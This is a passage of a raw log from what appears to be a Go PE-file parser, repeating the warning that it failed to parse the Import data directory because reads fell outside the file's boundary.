Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 